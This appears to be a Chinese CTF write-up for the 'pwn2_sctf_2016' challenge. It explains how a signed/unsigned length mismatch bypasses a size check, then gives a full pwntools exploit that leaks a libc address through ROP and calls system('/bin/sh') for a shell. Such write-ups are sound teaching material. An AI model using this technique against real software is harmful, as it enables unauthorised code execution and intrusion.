程序读入一个长度,然后按照长度读入后面输入的data并回显。
数据长度被限制为32,无法溢出,接着查看get_n函数。
接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。
输入负数长度,绕过长度检查,执行rop。
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = process('./pwn2_sctf_2016')
#p = remote('node3.buuoj.cn', 26080)
elf = ELF('./pwn2_sctf_2016')
format_str = 0x080486F8
printf_plt = elf.plt['printf']
main_addr = elf.symbols['main']
printf_got = elf.got['printf']
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
payload = 'a'*0x30 + p32(printf_plt)+p32(main_addr)+p32(format_str)+p32(printf_got)
p.sendline(payload)
#函数结束前的输出字符串
p.recvuntil('said: ')
#rop执行后输出的字符串,其中有函数地址
p.recvuntil('said: ')
printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
sys_addr = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
p.sendline('a'*0x30 + p32(sys_addr) + p32(main_addr) + p32(str_bin))
p.interactive()